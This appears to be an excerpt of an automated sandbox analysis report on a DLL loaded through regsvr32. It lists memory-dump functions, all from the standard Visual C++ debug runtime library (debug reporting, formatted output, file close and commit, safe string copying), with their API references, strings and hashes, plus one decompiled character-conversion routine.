Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
(*_errno()), xrefs: 000007FEF9D2B2C7
Module: , xrefs: 000007FEF9D2B192

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 1725f90675b356b8c96096f206fe05692ea700145f07fa5ff60a00d667238266
Instruction ID: a9706cbd1d0bc1ca6f0e01aa99e4221a5492a8f84fcd1c14ee91e7fca0fd8dc0
Opcode Fuzzy Hash: 1725f90675b356b8c96096f206fe05692ea700145f07fa5ff60a00d667238266
Instruction Fuzzy Hash: 5351D376608BC191E774DB18E8803EEB3E1F788384F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: a7736ae2d77719cf8dd033ea8b01e94f48993e2d03ef0b45187a851eb092d1a4
Instruction ID: afb1911e3f8ba5d231fe6bb84017af69377ca2ae416e2d0ba459e573d29e7d3a
Opcode Fuzzy Hash: a7736ae2d77719cf8dd033ea8b01e94f48993e2d03ef0b45187a851eb092d1a4
Instruction Fuzzy Hash: 0BF1C87260CBC186E7B1CB25E8947AEB7E4E384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a09a08489fcfa17bf46b80f7bccdd7250e5da7b82fa925d7c8e71ba256914943
Instruction ID: 498ed5c56ac792471b44c6766317b9cb43c4201113c662a7075568a19f5733c1
Opcode Fuzzy Hash: a09a08489fcfa17bf46b80f7bccdd7250e5da7b82fa925d7c8e71ba256914943
Instruction Fuzzy Hash: 0E617B72A1D64686EB909B28EC4176E73E1F780354F608225E6DE47AF5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 31e6f22f94a5a332f8c1da309800fd96aa675ce4ff76475566f44e9374f3c210
Instruction ID: b3e96d9819a7910145883aa8d7fc7971cc91d039debb2f2cb13e78280c4cdede
Opcode Fuzzy Hash: 31e6f22f94a5a332f8c1da309800fd96aa675ce4ff76475566f44e9374f3c210
Instruction Fuzzy Hash: 2F516B71A186468AE7909B69EC8176E73E2F380758F608621E2DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: 66637f3263954389c4faca3e64166f48d89120a2e65f09c6e12548c2e7ae54a3
Instruction ID: a75f166a54a10c782c9e5936c38e4db03d9624ec2b4b775b3bb68b676b0f6840
Opcode Fuzzy Hash: 66637f3263954389c4faca3e64166f48d89120a2e65f09c6e12548c2e7ae54a3
Instruction Fuzzy Hash: 38C10D72A0CAC286E7B19B55E8447AFB7E0F384346F604125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB
(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 399a9458fa01abea37a4ed0ff3a6319967a0ea4a6e471ce5995f41885ca75c61
Instruction ID: 4ea1f2baf56cb797ddf9edfbcd87f382fde430b96fb790801732b827a7e5f6be
Opcode Fuzzy Hash: 399a9458fa01abea37a4ed0ff3a6319967a0ea4a6e471ce5995f41885ca75c61
Instruction Fuzzy Hash: 02023E32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 2dc7b4f9e3ef16c46f4c156222616883407f9e483511c99d0d30e534b880734d
Instruction ID: be767cf373226b306d5cc4d655a52930cc25a89ebff261bf8d2d4167a1edb2b7
Opcode Fuzzy Hash: 2dc7b4f9e3ef16c46f4c156222616883407f9e483511c99d0d30e534b880734d
Instruction Fuzzy Hash: 48F1DA72A0CAC18AE7A08B55E8407AFB7E0F7C5756F600126E6CD87AA9DB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

Buffer is too small, xrefs: 000007FEF9D31934
wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 5aefbc8f1d73eb7cfc6612018eacf67af3b13798598c0c57764cabda027a92b3
Instruction ID: 4116fe211f4ce550b5db6f2beda9aad957ea61137f05a11edd57804cc24ee7cf
Opcode Fuzzy Hash: 5aefbc8f1d73eb7cfc6612018eacf67af3b13798598c0c57764cabda027a92b3
Instruction Fuzzy Hash: A4C14B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA5DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

Buffer is too small, xrefs: 000007FEF9D2D775
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: 3a73121abd8cd92c4d24009a6c05b63160c008938b58f8c852a28b4bc1f5a78a
Instruction ID: 83c83e0f84f27b13c419585d1e3107a86c1b002b2dbb410691c45864cb0988c3
Opcode Fuzzy Hash: 3a73121abd8cd92c4d24009a6c05b63160c008938b58f8c852a28b4bc1f5a78a
Instruction Fuzzy Hash: 3AC13D3190DB8A85EBA08B19E84436EA3E0F386794F614135D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
